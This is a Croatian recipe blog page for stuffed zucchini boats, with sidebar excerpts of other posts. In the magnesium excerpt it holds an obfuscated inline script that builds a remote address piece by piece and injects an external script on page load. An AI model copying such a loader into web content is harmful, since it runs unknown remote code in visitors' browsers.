PUNJENI BRODIĆI OD TIKVICA - SAVRŠEN LJETNI RUČAK





Punjeni brodići od tikvica - savršen ljetni ručak 



Kada temperature prijeđu trideset stupnjeva, rijetko tko poželi provoditi sate uz štednjak ili pripremati teška jela. Upravo zato u toplijim mjesecima biramo recepte koji koriste sezonsko povrće, zahtijevaju malo pripreme i istovremeno su dovoljno hranjivi da nas zasite bez osjećaja težine.





Punjeni brodići od tikvica 


Sastojci:

  • 4 srednje tikvice
  • 500 g mljevene junetine ili miješanog mljevenog mesa
  • 1 manji luk
  • 2 češnja češnjaka
  • 2 manje rajčice ili 150 ml pasirane rajčice
  • 2 žlice koncentrata rajčice
  • 100 g ribanog sira (mozzarella, gauda ili kombinacija sireva)
  • 2 žlice maslinova ulja
  • 1 žličica suhog origana
  • 1 žličica suhog bosiljka
  • svježi peršin
  • sol i svježe mljeveni papar
  • prstohvat dimljene paprike (po želji)
  • nekoliko listića svježeg bosiljka za posluživanje




Priprema:

  • Pećnicu zagrijte na 190 °C.
  • Tikvice operite, prerežite po dužini i žličicom pažljivo izdubite sredinu tako da dobijete male ‘brodiće’. Izdubljeni dio nemojte baciti – sitno ga nasjeckajte jer će obogatiti nadjev.
  • Brodiće od tikvica složite u lagano nauljenu posudu za pečenje i kratko ih posolite.
  • Na maslinovu ulju popržite sitno nasjeckani luk dok ne omekša. Dodajte češnjak, a zatim i mljeveno meso te ga pržite nekoliko minuta dok ne dobije lijepu boju.
  • Umiješajte nasjeckanu unutrašnjost tikvica, rajčicu narezanu na kockice ili pasiranu rajčicu te koncentrat rajčice. Dodajte origano, bosiljak, dimljenu papriku, sol i papar pa kuhajte desetak minuta dok višak tekućine ne ispari, a nadjev postane bogat i aromatičan.
  • Dobivenom smjesom obilno napunite tikvice, pazeći da nadjev lagano prelazi rubove.
  • Svaki brodić pospite ribanim sirom i pecite 25 do 30 minuta, odnosno dok tikvice ne omekšaju, a sir ne poprimi zlatnu koricu.
  • Prije posluživanja pospite svježim peršinom i nekoliko listića bosiljka te pokapajte s malo kvalitetnog maslinova ulja.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više